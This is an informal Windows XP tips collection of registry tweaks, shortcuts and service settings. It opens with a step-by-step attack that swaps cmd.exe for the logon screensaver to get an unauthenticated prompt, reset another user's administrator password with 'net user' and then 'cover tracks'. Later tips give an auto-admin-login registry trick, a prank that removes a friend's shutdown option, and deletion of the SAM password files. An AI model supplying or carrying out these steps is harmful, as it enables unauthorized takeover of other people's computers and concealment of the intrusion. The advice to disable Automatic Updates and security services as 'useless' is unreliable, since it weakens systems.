WINDOWS TIPS COLLECTION How to hack windows XP admin password If you log into a limited account on your target

machine and open up a dos promp t then enter this set of commands Exactly: cd\ *drops to root cd\windows\system32 *directs to the system32 dir mkdir temphack *creates the folder temphack copy logon.scr temphack\logon.scr *backsup logon.scr copy cmd.exe temphack\cmd.exe *backsup cmd.exe del logon.scr *deletes original logon.scr rename cmd.exe logon.scr *renames cmd.exe to logon.scr exit *quits dos Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP. Once this happens if you enter this command minus the quotes "net user <admin account name here> password" If the Administrator Account is called Frank and you want the password blah ente r this "net user Frank blah" and this changes the password on franks machine to blah and your in. Have fun p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Registry Hacking Display legal notice on startup: Wanna tell your friends about the do's and dont's in your computer when they log in in your absence. Well you can do it pretty easily by displaying a legal notic e at system start up. REGEDIT [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system] "legalnoticecaption"="enter your notice caption" "legalnoticetext"="enter your legal notice text" Automatic Administrator Login: Well here's the trick which you can use to prove that Windows XP is not at all s ecure as multi-user operating system. Hacking the system registry from any accou nt having access to system registry puts you in to the administrator account. REGEDIT 4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] "AutoAdminLogon"="1"

No Shutdown: Wanna play with your friends by removing the shutdown option from start menu in their computer. Just hack it down !!! Regedit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer "NoClose"="DWORD:1" Menu Delays: Another minor and easy tweak to remove any delay from menus sliding out. For thi s you will need to use regedit (open regedit by going to Start -> Run..., then t yping 'regedit' and pressing enter). The key you need to change is located in HK EY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - al l you have to do is change the value to 0. Remember, you will have to re-boot yo ur computer for this tweak to take effect. GPEDIT.MSC And Autoplay A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... an d then type in 'gpedit.msc' and press enter. This is effectively the Policies Ed itor, and it comes in handy often. For example, if you hate CD autoplay like I d o and want to permanently disable it, you can use this tool to do so. Just run g pedit.msc, then go to Computer Configuration -> Administrative Templates -> Syst em. In here you can see the value 'Turn Off Autoplay'. Right-click on it and the n click 'Properties'. Increasing options in add/remove programs: Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default n one of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive le tter where Windows XP is installed) in Notepad. You should see a section of the file something like this: [Components] NtComponents=ntoc.dll,NtOcSetupProc,,4 WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7 Display=desk.cpl,DisplayOcSetupProc,,7 Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7 NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7 iis=iis.dll,OcEntry,iis.inf,,7 com=comsetup.dll,OcEntry,comnt5.inf,hide,7 dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7 IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7 TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2 msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6 ims=imsinsnt.dll,OcEntry,ims.inf,,7 fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7 AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7 msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7 RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7 IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7 This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply del eting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7 To this: msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7 Now, after restarting, you should be able Programs list. If you want to be able to , simply open the sysoc.inf file and do a ,hide" and replace it with a single comma Automatically Kill Programs At Shutdown: don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically ki lls applications running is a snap. Simply navigate to the HKEY_CURRENT_USERCont rol PanelDesktop directory in the Registry, then alter the key AutoEndTasks to t he value 1. Speeding Up Share Viewing: This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiti ng on the other end - not good! Fortunately, it's fairly easy to disable this pr ocess. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there sho uld be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, an d after a restart, Windows will no longer check for scheduled tasks - mucho perf ormance improvement! Create a Shortcut to Lock Your Computer Leaving your computer in a hurry but you don t want to log off? You can double-cli ck a shortcut on your desktop to quickly lock the keyboard and display without u sing CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to loc k your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32 .exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You c an call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in sh ell32.dll). To change the icon: Right click the shortcut and then select Propert ies. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystrok e such CTRL+ALT+L. This would save you only one keystroke from the normal comman d, but it could be more convenient. Speed up Internet Explorer 6 Favorites For some reason, the Favorites menu in IE 6 seems to slow down dramatically some times--I've noticed this happens when you install Tweak UI 1.33, for example, an d when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line wi ndow (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command lin e runs the System File Checker, which performs a number of services, all of whic h are completely unrelated to IE 6. But there you go: It works. Aspi to see MSN Messenger in the Add/Remove quickly view and remove all components global find and replace for the word " ",".

WinXP does not come with an Aspi layer. So far almost 90% of the problems with W inXP and CD burning software are Aspi layer problems. After installing WinXP, be fore installing any CD burning software do a few things first: 1. Open up "My co mputer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the sta ndard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.

15 Top Windows XP secrets :

1. Useful key shortcuts available: * Windows key + D - shows the desktop. * Windows key + M - minimizes all open windows. * Windows key + Shift + M - maximizes all open windows. * Windows key + E - Runs Windows Explorer. * Windows key + R - shows the RUN dialog. * Windows key + F - shows Search window. * Windows key + Break - shows System Properties box. * Windows key + TAB - Go through taskbar applications. * Windows key + PAUSE Display the System Properties dialog box. * Windows key + U Open Utility Manager. * ALT + TAB - Cycle through opened applications. * Hold down CTRL while dragging an item to Copy it. * CTRL + ESC Display the Start menu. * ALT + ENTER View the properties for the selected item. * F4 key Display the Address bar list in My Computer or * NUM LOCK + Asterisk (*) Display all of the subfolders that are under the selected folder. 2. Lock Windows to protect computer : You can lock Windows to protect the computer when leaving the station easi ly by creating a shortcut with the path rundll32.exeuser32.dll, LockWorkStation. The Windows key + L is also a shortcut to this feature. 3. Edit sysoc.inf to list all software : To show all software that can be removed from your computer (including pro tected Windows services), you can manually edit (using notepad for example) the sysoc.inf file located in Windows\inf\. Just remove the word hide next to the so ftware pack. Note - use this at your own risk. Removing critical components of the syst em will make Windows instable. 4. Windows XP comes with IPv4 and IPv6 : Windows XP comes both IPv4 and IPv6 support. To enable IPv6, you can insta ll the protocols needed with the command "ipv6 install" in the command-prompt. T hen type ipv6 /? to see the options. The installation will not remove the IPv4 p rotocols so your current configuration will still work. 5. Access Task Manager with shortcut : To access the Task Manager easier, you can make a shortcut that points to %windir%\system32\taskmgr.exe. 6. Stop treating ZIP files like Folders : If you don't want your Windows XP to treat ZIP files like folders, you can disable this component by running regsvr32 /u zipfldr.dll at the command prompt or Run dialog. If you start missing it, you can enable it by typing regsvr32 zi

pfldr.dll. 7. Run program as diffrent user : You can run a program as a different user. Right click an application and select Run As command. 8. Switch users leaving applications opened : You can switch users leaving the applications opened too (*NOTE* use this only when needed since it could lead to system instability). Go to Task Manager - processes and end the process explorer.exe. This will end only your session and not all applications. Then go to Applications tab, cl ick New task and type runas /user:domainname\username explorer.exe. A password p rompt will appear to login to the desired username. The user's session will star t, with all your previously applications running. I recommend to open first a command-line prompt and type runas /? to see a ll the options available. 9. Rename multiple files in Windows at once : Rename multiple files in Windows at once. Select them all, right click and select Rename. Enter the desired name. They will be renamed using what you spec ified, with a number in brackets to distinguish them. 10. Task kill feature in Windows : Windows has a task kill feature similar to Linux. Go to a command prompt a nd run the command tasklist to see running processes with PID numbers. Then type tskill <PID> to end the specific task. This forces an instant closing of the ta sk. 11. Edit features with GPEDIT.MSC : You can edit many features by running gpedit.msc. You can add log on/log o ff scripts here and many features. 12. Edit accounts in the command prompt : You can edit accounts by running "control userpasswords2" at the command p rompt. 13. Use systeminfo.exe to see System Information : You can use the systeminfo.exe command in the command prompt to see System Information, including all Windows updates and hotfixes. 14. Disable system services for maximum performance : There are system services that you can disable to free up the system's loa d. To access the interface that permits you to make changes to system's services , type services.msc and the command prompt. This is a list of services that are *usually* useless and can be safely di sabled. * Alerter * Application Layer Gateway Service, * Application Management * Automatic Updates * Background Intelligent Transfer * Clipbook * Distributed Link Tracking Client * Distributed Transaction Coordinater * Error Reporting Service * Fast User Switching Compatibility * IMAPI CD-Burning * Indexing Service * IPSEC Services * Messenger * Net Logon * Net Meeting * Remote Desktop Sharing * Network DDE * Network DDE DSDM * Portable Media Serial Number * Remote Desktop Help Session Manager * Remote Registry

* Secondary Logon * Smartcard * SSDP Discovery Service * Uninterruptible Power Supply * Universal Plug and Play Device Host * Upload Manager * Webclient * Wireless Zero Configuration * WMI Performance Adaptor NOTE: Make sure you don't need them since some applications you're using c ould depend on them. If you make any application to fail by disabling any of the services, go back and enable it again. 15. Repair Windows XP by using the XP installation CD: If your system failes to start due to an error related to missing HAL.DLL, invalid Boot.ini or any other critical system boot files you can repair this by using the XP installation CD. Simply boot from your XP Setup CD and enter the R ecovery Console. Then run "attrib -H -R -S" on the C:\Boot.ini file and delete i t. Run "Bootcfg /Rebuild" and then Fixboot. Another way ... Boot from win98 cd, delete the SAM, SAM.SAV, SAM.LOg files ( in sytem32/config f older ). Note: don't delete SAM.exe.